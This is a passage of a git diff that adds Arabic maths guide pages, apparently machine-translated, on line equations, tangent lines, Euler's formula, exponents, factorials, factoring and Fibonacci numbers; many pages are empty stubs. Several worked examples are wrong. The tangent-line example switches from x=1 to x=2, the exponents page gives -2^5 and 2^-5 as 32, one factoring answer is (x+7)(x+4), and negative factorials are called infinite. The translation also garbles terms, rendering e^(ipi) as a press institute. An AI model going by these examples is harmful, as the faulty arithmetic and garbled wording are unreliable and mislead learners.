+اسمحوا `m` يكون المنحدر من الخط و `b` يكون اعتراض y. (لاحظ أن y-intercept هي النقطة التي يتقاطع فيها الخط المعطى مع المحور y). ثم تكون معادلة الخط:
+
+`y = mx+b`
+
+### للحصول على منحدر معين ونقطة واحدة يمر من خلالهما الخطان (نموذج نقطة الانحدار):
+
+دع `m` تكون منحدر الخط و `(x1, y1)` تكون هي تنسيق النقطة التي يمر من خلالها الخط المعطى. ثم تكون معادلة الخط:
+
+`(y - y1) = m(x - x1)`
+
+### لنقطتين يمر من خلالهما الخط:
+
+دع `(x1, y1)` و `(x2, y2)` إحداثيات لنقطتين يمر من خلالها الخط المعطى. ثم تكون معادلة الخط:
+
+`(y - y1)(x2 - x1) = (y2 - y1)(x - x1)`
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/equation-of-tangent-line/index.md b/client/src/guide/arabic/mathematics/equation-of-tangent-line/index.md
new file mode 100644
index 0000000000..de55a052be
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/equation-of-tangent-line/index.md
@@ -0,0 +1,34 @@
+---
+title: Equation of Tangent Line
+localeTitle: معادلة خط Tangent
+---
+## معادلة خط Tangent
+
+الخط المماس إلى منحنى هو خط مستقيم يلامس منحنى ، أو رسم بياني لوظيفة ، عند نقطة واحدة فقط. يمثل خط المماس المعدل الفوري للتغير في الوظيفة عند نقطة واحدة. يساوي ميل الخط المماس عند نقطة في الوظيفة مشتق الدالة في نفس النقطة.
+
+### إيجاد معادلة خط المماس:
+
+للعثور على معادلة خط المماس إلى منحنى عند النقطة x = x0 ، نحتاج إلى العثور على ما يلي:
+
+1.  العثور على مشتق من الدالة (iederivative من معادلة المنحنى).
+2.  العثور على قيمة المشتقة من خلال وضع x = x0 ، وسيكون هذا المنحدر من الظل (يقول م).
+3.  ابحث عن القيمة y0 ، بوضع قيمة x 0 في معادلة المنحنى. سيمر حاجتنا عبر هذه النقطة (x0، y0)
+4.  أوجد معادلة الظل باستخدام شكل نقطة الانحدار. عندما يمر المماس خلال (x0، y0) وله ميل m ، يمكن إعطاء معادلة خط المماس على النحو التالي: (ص Y0) = م (س-X0)
+
+#### مثال: للعثور على معادلة خط الظل إلى المنحنى f (x) = 4x ^ 2-4x + 1 عند x = 1
+
+حل: f (x) = 4x ^ 2-4x + 1
+
+الخطوة 1: f '(x) = 8x-4
+
+الخطوة 2: m = f '(2) = 8.2-4 = 12
+
+الخطوة 3: y0 = f (x0) = f (2) = 4.2 ^ 2-4.2 + 1 = 16-8 + 1 = 9
+
+الخطوة 4: م = 12 ؛ (X0، Y0) = (2،9)
+
+ولذلك ، فإن معادلة خط المماس هي: (ص Y0) = م (س-X0)
+
+\=> (y-9) = 12 (x-2)
+
+\=> y = 12x-15
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/eulers-formula/index.md b/client/src/guide/arabic/mathematics/eulers-formula/index.md
new file mode 100644
index 0000000000..5eec11c5d7
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/eulers-formula/index.md
@@ -0,0 +1,17 @@
+---
+title: Eulers Formula
+localeTitle: صيغة أويلرز
+---
+## صيغة أويلرز
+
+يولرز فورمولا هي هوية رياضية تنص على أنه (لأي قيمة x): ه ^ (التاسع) = cosx + isinx
+
+هذا الاهتمام بسبب الحالة التالية: عندما تكون x = pi ، فإن صيغة أويلر تعطي الهوية الجميلة invovling pi و e و i.
+
+ه ^ (المعهد الدولي للصحافة) + 1 = 0،
+
+نكتة مشهورة لعلماء الرياضيات هي "كم من علماء الرياضيات يحتاج إلى تغيير مصباح كهربائي؟" وأجوبة "-e ^ (ipi)" هل يمكنك معرفة ما هي الإجابة؟
+
+#### معلومات اكثر:
+
+اقرأ المزيد عن Eulers Formula [هنا](http://mathworld.wolfram.com/EulerFormula.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/even-and-odd-functions/index.md b/client/src/guide/arabic/mathematics/even-and-odd-functions/index.md
new file mode 100644
index 0000000000..0699d5cacc
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/even-and-odd-functions/index.md
@@ -0,0 +1,29 @@
+---
+title: Even and Odd Functions
+localeTitle: حتى والوظائف الفردية
+---
+## حتى والوظائف الفردية
+
+### وظائف عامة
+
+دالة `f` هي تعيين من مجموعة A (الإدخال / المجال) إلى مجموعة B (الإخراج / المجال المشترك). يمكن أن يكون من أنواع مختلفة على أساس عدد من التصنيفات.
+
+### دالة زوجية:
+
+تكون الدالة `f(x)` حتى وإن كانت فقط إذا كانت `f(x) = f(-x)` .
+
+مثال على وظيفة زوجية سيكون `f(x) = x^2` لأن `f(2) = 2^2 = 4 = (-2)^2 = f(-2)` .
+
+الدوال المثلثية - `cos(x)` و `sec(x)` هي أيضاً وظائف
+
+### وظيفة غريبة
+
+تكون الدالة `f(x)` حتى وإن كانت فقط إذا كانت `f(x) = -f(-x)`
+
+مثال على وظيفة غريبة ستكون `f(x) = x^3` لأن `f(2) = 2^3 = 8 = -(-8) = -(-2)^3 = -f(-2)` .
+
+الدوال المثلثية - `sin(x)` ، `tan(x)` ، `cot(x)` و `cosec(x)` هي أيضًا وظائف
+
+#### معلومات اكثر:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Even_and_odd_functions)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/example-all-the-ways-you-can-flip-a-coin/index.md b/client/src/guide/arabic/mathematics/example-all-the-ways-you-can-flip-a-coin/index.md
new file mode 100644
index 0000000000..6d7eb999d2
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/example-all-the-ways-you-can-flip-a-coin/index.md
@@ -0,0 +1,11 @@
+---
+title: Example All the Ways You Can Flip a Coin
+localeTitle: مثال على كل الطرق التي يمكنك بها عملات معدنية
+---
+## مثال على كل الطرق التي يمكنك بها عملات معدنية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/example-all-the-ways-you-can-flip-a-coin/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/example-of-subtracting-fractions-with-unlike-denominators/index.md b/client/src/guide/arabic/mathematics/example-of-subtracting-fractions-with-unlike-denominators/index.md
new file mode 100644
index 0000000000..89133219d4
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/example-of-subtracting-fractions-with-unlike-denominators/index.md
@@ -0,0 +1,35 @@
+---
+title: Example of Subtracting Fractions with Unlike Denominators
+localeTitle: مثال على طرح الكسور بعكس القواسم
+---
+## مثال على طرح الكسور بعكس القواسم
+
+إن طرح الكسور بعكس القواسم يشبه إضافة الكسور بعكس القواسم. فيما يلي الخطوات ،
+
+1.  تحويل الكسور إلى كسور مكافئة مع المقام المشترك
+    
+2.  لتحويل الكسور إلى قاسم مشترك ، اضرب البسط ومقام الكسر مع المقام الكسر الآخر.
+    
+3.  الآن أن الكسور لها قواسم مشتركة ، طرح البسط من كلا الكسور ووضع النتيجة على المقام
+    
+    النظر، أ / ب، ج / د وكسور ذات مقامات مختلفة، يمكنك طرح هذه الكسور في خطوة واحدة مثل أدناه،
+    
+
+ a ⁄ b - c ⁄ d = (a \* d) - (b \* c) ⁄ (b \* d) 
+
+###### مثال
+
+النظر في الكسور 5 ⁄ 6 و 5 ⁄ 15
+
+1.  القواسم مختلفة. لذلك تحتاج إلى جعل القواسم المشتركة
+2.  قبل ذلك ، إذا أمكن ، تبسيط الكسور. في هذه الحالة ، يمكن تبسيط 5 × 15 ك 1 × 3 . هنا تسمى 5 ⁄ 15 و 1 ⁄ 3 الكسور المتكافئة.
+3.  بعد التبسيط ، تكون الكسور 5 ⁄ 6 و 1 ⁄ 3 .
+4.  الآن لطرح هذه الكسور ، يجب جعل القواسم المشتركة
+5.  اضرب البسط والمقام لكسر مع المقام الآخر
+6.  بالنسبة للجزء الكسري 5 ، 6 ، يكون المقام للكسر الآخر هو 3. بالنسبة للجزء 1 ⁄ 3 ، فإن المقام التابع للكسر الآخر هو 6
+
+ ((5 \* 3) - (1 \* 6)) ⁄ (6 \* 3) = 9 ⁄ 18 
+
+7.  الجزء الناتج هو 9 9 18 . يمكن تبسيط ذلك أكثر بـ 1 ⁄ 2
+
+ 5 ⁄ 6 - 5 ⁄ 15 = 1 ⁄ 2
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/exponent-rules-intro/index.md b/client/src/guide/arabic/mathematics/exponent-rules-intro/index.md
new file mode 100644
index 0000000000..0ea5866da9
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/exponent-rules-intro/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponent Rules Intro
+localeTitle: مقدمة قواعد الأس
+---
+## مقدمة قواعد الأس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/exponent-rules-intro/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/exponential-and-logarithmic-functions/index.md b/client/src/guide/arabic/mathematics/exponential-and-logarithmic-functions/index.md
new file mode 100644
index 0000000000..ba5a4788c9
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/exponential-and-logarithmic-functions/index.md
@@ -0,0 +1,9 @@
+---
+title: Exponential and Logarithmic Functions
+localeTitle: الأسي والدوال اللوغاريتمية
+---
+## الأسي والدوال اللوغاريتمية
+
+الدالة الأسية في النموذج التالي: f (x) = b \* a ^ x توجد دالة لوغاريتمي في الشكل التالي: f (x) = loga (x) + b
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/exponential-functions-compound-interest/index.md b/client/src/guide/arabic/mathematics/exponential-functions-compound-interest/index.md
new file mode 100644
index 0000000000..1539fde0be
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/exponential-functions-compound-interest/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponential Functions Compound Interest
+localeTitle: الاهميه الاجره المركبه الفائدة
+---
+## الاهميه الاجره المركبه الفائدة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/exponential-functions-compound-interest/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/exponential-functions-introduction/index.md b/client/src/guide/arabic/mathematics/exponential-functions-introduction/index.md
new file mode 100644
index 0000000000..42e4e662ce
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/exponential-functions-introduction/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponential Functions Introduction
+localeTitle: الدوال الأسية مقدمة
+---
+## الدوال الأسية مقدمة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/exponential-functions-introduction/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/exponential-growth-and-decay-word-problems/index.md b/client/src/guide/arabic/mathematics/exponential-growth-and-decay-word-problems/index.md
new file mode 100644
index 0000000000..7f27783bb3
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/exponential-growth-and-decay-word-problems/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponential Growth and Decay Word Problems
+localeTitle: النمو الأسي وتناقص مشاكل الكلمات
+---
+## النمو الأسي وتناقص مشاكل الكلمات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/exponential-growth-and-decay-word-problems/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/exponential-growth-and-decay/index.md b/client/src/guide/arabic/mathematics/exponential-growth-and-decay/index.md
new file mode 100644
index 0000000000..b7f8096b91
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/exponential-growth-and-decay/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponential Growth and Decay
+localeTitle: النمو الأسي والاضمحلال
+---
+## النمو الأسي والاضمحلال
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/exponential-growth-and-decay/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/exponential-word-problems/index.md b/client/src/guide/arabic/mathematics/exponential-word-problems/index.md
new file mode 100644
index 0000000000..0d1b4de309
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/exponential-word-problems/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponential Word Problems
+localeTitle: مشاكل أسية كلمة
+---
+## مشاكل أسية كلمة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/exponential-word-problems/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/exponents-basic-rules/index.md b/client/src/guide/arabic/mathematics/exponents-basic-rules/index.md
new file mode 100644
index 0000000000..34a27cf3e3
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/exponents-basic-rules/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponents Basic Rules
+localeTitle: قواعد الأسس الأساسية
+---
+## قواعد الأسس الأساسية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/exponents-basic-rules/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/exponents/index.md b/client/src/guide/arabic/mathematics/exponents/index.md
new file mode 100644
index 0000000000..990638b7a5
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/exponents/index.md
@@ -0,0 +1,36 @@
+---
+title: Exponents
+localeTitle: الأس
+---
+## الأس
+
+الأس هو اختصار لعدد المرات التي يتم فيها مضاعفة الرقم بنفسه. وغالبًا ما يتم الإشارة إليها برسم مرتفع أو قيراط أو بـ "إلى قوة" مثل:
+
+*   2 3
+*   2 ^ 3
+*   2 إلى قوة 3
+
+في هذا المثال ، 3 هي الأس.
+
+لحساب قيمة 2 3 ، يمكنك مضاعفة 2 إلى نفسه 3 مرات: 2 \* 2 \* 2. وهذا يشير إلى 8.
+
+لدى الأسس الشائعة أسماء خاصة:
+
+*   غالبًا ما يشار إلى الأسي 2 باسم المربع. يُشار إلى 3 2 بـ 3 مربعات ، حيث يتم تقييمها إلى 9.
+*   غالبًا ما يشار إلى دلالة الأس 3 على أنها مكعبة. ويشار إلى 2 3 بـ 3 مكعبات ، بالتقييم إلى 8.
+
+### الدعاة السلبية
+
+يتم حساب الأسس السالبة بشكل مشابه ، باستثناء القيمة التي يتم وضعها كقسم أسفل بسط رقم 1.
+
+على سبيل المثال ، 2 \-2 = 1 / (2 \* 2) = 1/4
+
+### مزيد من الأمثلة
+
+2 5 = 2 _2_ 2 _2_ 2 = 32
+
+\-2 5 = -2 _\-2_ -2 _\-2_ -2 = 32
+
+10 6 = 1،000،000
+
+2 \-5 = 1 / (2 _2_ 2 _2_ 2) = 32
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/factorial-function/index.md b/client/src/guide/arabic/mathematics/factorial-function/index.md
new file mode 100644
index 0000000000..bb3f5dfca6
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/factorial-function/index.md
@@ -0,0 +1,11 @@
+---
+title: Factorial Function
+localeTitle: دالة دالة
+---
+## دالة دالة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/factorial-function/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/factorials/index.md b/client/src/guide/arabic/mathematics/factorials/index.md
new file mode 100644
index 0000000000..62a857797f
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/factorials/index.md
@@ -0,0 +1,47 @@
+---
+title: Factorials
+localeTitle: عاملي
+---
+## عاملي
+
+### تعريف فاكتوريال
+
+المضارع هو مضاعفة من قبل كل intiger أقل ثم تنتهي في واحد. إذا كان الرقم الأولي سالباً ، تكون النتيجة هي اللانهاية.
+
+يتم تعريف معامل n ، عدد صحيح غير سالب ، على النحو التالي:
+
+ن! = 1 \* 2 \* ... \* (n - 1) \* n
+
+تنشأ حالة خاصة عندما تكون n = 0 . وهي 0! = 1 .
+
+### راحة من العوامل
+
+التعريف أعلاه يوفر لك الراحة في بعض الحسابات. على سبيل المثال ، يمكن تبسيط العناصر الموجودة داخل الكسور على النحو التالي:
+
+مثال 1: 7! / 5! = (1 \* 2 \* 3 \* 4 \* 5 \* 6 \* 7) / (1 \* 2 \* 3 \* 4 \* 5) = 6 \* 7 = 42
+
+مثال 2: (ن + 1)! / ن! = (1 \* 2 \*… \* n \* (n + 1)) / (1 \* 2 \*… \* n) = n + 1
+
+### التعريف البديل
+
+بدلا من ذلك ، يمكن تعريف العوامل على النحو التالي:
+
+0! = 1
+
+ن! = ن \* (ن - 1)! إذا كان n> 0
+
+هذا التعريف العودي يعني بالضبط نفس التعريف التقليدي. بتطبيق هذا على المثال الثاني أعلاه ، نحصل على:
+
+(ن +1)! / ن! = (n + 1) \* n! / ن! = ن +1
+
+### جانبًا: ملحق لغير الأعداد الصحيحة
+
+تجدر الإشارة إلى أن معامل العوامل كما هو موضح أعلاه لا ينطبق إلا على الأعداد الصحيحة غير السلبية. في الواقع ، هناك تعميم للعوامل التي تمتد إلى غير الأعداد الصحيحة كذلك ، وهي وظيفة غاما. على وجه الخصوص ، لأي عدد طبيعي ن ، لديك ن! = Gamma (n + 1) = n \* Gamma (n) .
+
+لمزيد من المعلومات ، راجع [توسيع العنصر إلى القيم غير الصحيحة للوسيطة](https://en.wikipedia.org/wiki/Factorial#Extension_of_factorial_to_non-integer_values_of_argument) .
+
+مثال واحد صعب أن العديد قد لا نعرف إذا كان 0! = 1. لمزيد من الأدلة ، انظر الرابط تحت مزيد من المعلومات.
+
+#### معلومات اكثر:
+
+[عاملي](http://www.purplemath.com/modules/factorial.htm)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/factoring-in-algebra/index.md b/client/src/guide/arabic/mathematics/factoring-in-algebra/index.md
new file mode 100644
index 0000000000..c25610ed16
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/factoring-in-algebra/index.md
@@ -0,0 +1,19 @@
+---
+title: Factoring in Algebra
+localeTitle: التخصيم في الجبر
+---
+## التخصيم في الجبر
+
+التخصيم هو الطريقة التي تأخذ بها التربيعية في الشكل القياسي ووضعها في شكل عامل. عادة ما يتم عرض النموذج القياسي للتربيعي كـ ax 2 + bx + c حيث a و b معاملات و c ثابت. عادةً ما يتم عرض النموذج المُخَطَط (x - d) (x - t) حيث يمثل كل من d و t كلا المعاملين.
+
+## التخصيم في رأسك
+
+هذه الطريقة لعامل التخصيم عادة ما تعمل بشكل أفضل عندما تكون = 1. للقيام بذلك عند a = 1 تنظر إلى ما يضيف رقمان إلى b متساويا بينما يتكاثر أيضا إلى c. وهذان الرقمان سيساويان d و t.
+
+#### مثال 1:
+
+x 2 + 2x + 1 هنا عليك البحث عن رقمين يتضاعف إلى 1 والإضافة إلى 2. هذين الرقمين هما 1 و 1. ثم تضع تلك الأرقام في شكل عامل مثل: (س + 1) (س + 1)
+
+#### المثال 2:
+
+x 2 + 7x + 12 هنا عليك أن تبحث عن رقمين يتضاعف إلى 12 ويضاف إلى 7. هذين الرقمين هما 3 و 4. ثم تضع هذه الأرقام في شكل عامل كما يلي: (س + 7) (س + 4).
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/factoring-polynomials-common-factor/index.md b/client/src/guide/arabic/mathematics/factoring-polynomials-common-factor/index.md
new file mode 100644
index 0000000000..36622bb6ee
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/factoring-polynomials-common-factor/index.md
@@ -0,0 +1,11 @@
+---
+title: Factoring Polynomials Common Factor
+localeTitle: عامل عوامل متعددة الحدود
+---
+## عامل عوامل متعددة الحدود
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/factoring-polynomials-common-factor/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/factoring-quadratics-the-simple-case/index.md b/client/src/guide/arabic/mathematics/factoring-quadratics-the-simple-case/index.md
new file mode 100644
index 0000000000..d333d7c663
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/factoring-quadratics-the-simple-case/index.md
@@ -0,0 +1,11 @@
+---
+title: Factoring Quadratics the Simple Case
+localeTitle: التخصيم Quadratics في حالة بسيطة
+---
+## التخصيم Quadratics في حالة بسيطة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/factoring-quadratics-the-simple-case/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/factoring-quadratics/index.md b/client/src/guide/arabic/mathematics/factoring-quadratics/index.md
new file mode 100644
index 0000000000..fa7b2e79d5
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/factoring-quadratics/index.md
@@ -0,0 +1,9 @@
+---
+title: Factoring Quadratics
+localeTitle: التخصيم Quadratics
+---
+## التخصيم Quadratics
+
+بالنسبة للوظيفة: f (x) = x ^ 2 + 2x + 1 ، سيكون النموذج الخاص بالتعاملات f (x) = (x + 1) (x + 1) أو f (x) = (x + 1) ^ 2
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/fibonacci-number/index.md b/client/src/guide/arabic/mathematics/fibonacci-number/index.md
new file mode 100644
index 0000000000..6875124dc8
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/fibonacci-number/index.md
@@ -0,0 +1,28 @@
+---
+title: Fibonacci Number
+localeTitle: رقم فيبوناتشي
+---
+## رقم فيبوناتشي
+
+رقم فيبوناتشي هو مصطلح في _سلسلة فيبوناتشي_ ، وربما واحدة من أشهرها تسلسل هناك. في هذا التسلسل ، كل رقم جديد هو مجموع الرقمين السابقين:
+
+*   F (n) = F (n - 1) + F (n - 2).
+
+لذلك دعونا نأخذه من البداية ، ويبدأ بـ 0. سيكون العدد التالي هو مجموع الرقمين السابقين ، والتي ستكون 1. لذلك فإن الرقم التالي سيكون 1 أيضًا. ثم يأتي الرقم الثالث ، الذي سيكون مجموع 1 و 1 ، وهو 2. ثم تأتي 1 و 2 ، وهي 3 و 2 و 3 ، وهي 5 و 3 و 5 ، وهي 8 ، وهكذا.
+
+وينظر إلى هذا التسلسل في العديد من الأماكن في الطبيعة ، مثل القوقع من الحلزون أو أنماط دوامة من عباد الشمس.
+
+القيم الأولية هي:
+
+0 ، 1 ، 1 ، 2 ، 3 ، 5 ، 8 ، 13 ، 21 ، 34 ، 55 ، 89 ، 144 ، 233 ...
+
+إذا كنت ترغب في إنشاء برنامج يجد رقم فيبوناتشي بعد التكرارات x ، فتأكد من ذلك لديها حدود كبيرة بما فيه الكفاية. تزداد القيمة بسرعة هائلة ، وبالتالي ستستغرق المزيد الفضاء من المتوقع.
+
+شيء رائع حول تسلسل فيبوناتشي هو وجوده في الطبيعة. يمكن العثور عليها في بتلات الزهور ، ورؤوس البذور ، وخزائن الصنوبر ، والأصداف ، والأعاصير ، وأكثر من ذلك بكثير.
+
+### معلومات اكثر:
+
+*   يمكن العثور [هنا على](https://en.wikipedia.org/wiki/Fibonacci_number) الكثير من المعلومات حول أرقام فيبوناتشي ، بما في ذلك إثبات صيغة Binet.
+*   [موسوعة على الانترنت من تسلسل صحيح: أرقام فيبوناتشي](http://oeis.org/A000045)
+*   [تسلسل فيبوناتشي كما هو موجود في المقياس الموسيقي.](https://www.youtube.com/watch?v=2pbEarwdusc)
+*   [تسلسل فيبوناتشي في الطبيعة](https://io9.gizmodo.com/5985588/15-uncanny-examples-of-the-golden-ratio-in-nature)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/finding-a-percent/index.md b/client/src/guide/arabic/mathematics/finding-a-percent/index.md
new file mode 100644
index 0000000000..5bd370ea45
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/finding-a-percent/index.md
@@ -0,0 +1,11 @@
+---
+title: Finding a Percent
+localeTitle: العثور على نسبة
+---
+## العثور على نسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/finding-a-percent/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/finding-an-angle-in-a-right-angled-triangle/index.md b/client/src/guide/arabic/mathematics/finding-an-angle-in-a-right-angled-triangle/index.md
new file mode 100644
index 0000000000..677bca909d
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/finding-an-angle-in-a-right-angled-triangle/index.md
@@ -0,0 +1,11 @@
+---
+title: Finding an Angle in a Right Angled Triangle
+localeTitle: العثور على زاوية في مثلث قائم الزاوية
+---
+## العثور على زاوية في مثلث قائم الزاوية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/finding-an-angle-in-a-right-angled-triangle/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/finding-circumference-of-a-circle-when-given-the-area/index.md b/client/src/guide/arabic/mathematics/finding-circumference-of-a-circle-when-given-the-area/index.md
new file mode 100644
index 0000000000..caa86b88c3
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/finding-circumference-of-a-circle-when-given-the-area/index.md
@@ -0,0 +1,69 @@
+---
+title: Finding Circumference of a Circle When Given the Area
+localeTitle: العثور على محيط الدائرة عند إعطاء المنطقة
+---
+## معلومات اساسية
+
+##### ما هو المحيط؟
+
+طول حدود حدود الشكل الهندسي المنحني.
+
+* * *
+
+##### ما هي المنطقة؟
+
+المساحة هي مقدار المساحة الموجودة على سطح مستو.
+
+### سؤال: ابحث عن محيط الدائرة عند إعطاء مساحة الدائرة؟
+
+##### خطوات:
+
+*   مساحة الدائرة = π × r 2 ، لذلك يجب أن نجد دائرة نصف قطرها من هذه الصيغ.
+*   محيط الدائرة = 2 ×، r ، ووضع نصف القطر في هذه الصيغ لحساب محيط.
+
+ مثال، 
+ السؤال) ابحث عن محيط دائرة بمساحة = π 3 ؟ 
+ إجابة: 
+ من خلال الخطوات المذكورة أعلاه ، 
+ area = π × r 2 
+ π 3 = π × π 2 
+ من خلال المقارنة ، نحصل ، 
+ نصف قطر ، r = π 
+ الآن ضع هذه القيمة في صيغ للمحيط ، 
+ cirucumference = 2 × π r 
+ = 2 × π π 
+ = 2 π 2 
+ ومن ثم ، وجدنا الجواب. 
+
+### المنطقة (أ) من الدائرة
+
+A = π \* radius 2
+
+### محيط (C) من الدائرة
+
+C = 2 \* π \* radius
+
+## للعثور على محيط الدائرة بالنظر إلى المنطقة
+
+1.  حل لنصف قطر الدائرة
+    
+    radius = (A / π) ½
+    
+2.  أدخل نصف القطر في صيغة المحيط وحلها.
+    
+    C = 2 \* π \* (A / π) ½
+    
+
+#### معلومات اكثر:
+
+[مساحة الدائرة](https://guide.freecodecamp.org/mathematics/area-of-a-circle)
+
+### إليك بعض الرسوم التوضيحية الرائعة
+
+#### محيط
+
+![دائرة](https://www.mathplanet.com/Oldsite/media/55567/circle01.png)
+
+#### منطقة
+
+![مجال الدائرة](http://www.mathwarehouse.com/animated-gifs/images/area-of-circle-through-triangles-area-demo_xl.gif)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/finding-slope-from-graph/index.md b/client/src/guide/arabic/mathematics/finding-slope-from-graph/index.md
new file mode 100644
index 0000000000..893a6c6cd6
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/finding-slope-from-graph/index.md
@@ -0,0 +1,11 @@
+---
+title: Finding Slope from Graph
+localeTitle: العثور على المنحدر من الرسم البياني
+---
+## العثور على المنحدر من الرسم البياني
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/finding-slope-from-graph/index.md) .
+
